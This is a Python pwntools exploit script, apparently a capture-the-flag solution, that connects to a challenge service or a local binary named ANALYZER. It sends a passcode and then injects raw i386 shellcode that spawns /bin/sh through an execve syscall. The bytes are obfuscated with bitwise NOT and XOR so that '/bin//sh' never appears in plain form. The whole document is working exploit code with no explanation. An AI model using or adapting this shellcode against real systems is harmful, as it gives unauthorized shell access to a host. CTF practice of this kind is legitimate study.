#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'i386'

if args.REMOTE:
    p = remote('ctf.adl.tw', '11005')
else:
    p = process("./ANALYZER")

# pause()

p.sendafter("Enter your passcode:", "00000008235")

p.sendafter("Provide the result in CSV format:", "\x31\xC9\xF7\xE1\x51\xBF\xD0\xD0\x8C\x97\xBE\xD0\x9D\x96\x91\xF7\xD7\xF7\xD6\x57\x56\x89\xE3\xB8\xDD\x90\x00\x00\x35\x10\x10\x00\x00\x50\x50\xB8\x0B\x00\x00\x00\x89\x64\x24\x04\x59\x31\xC9\xC3")


p.interactive()
p.close()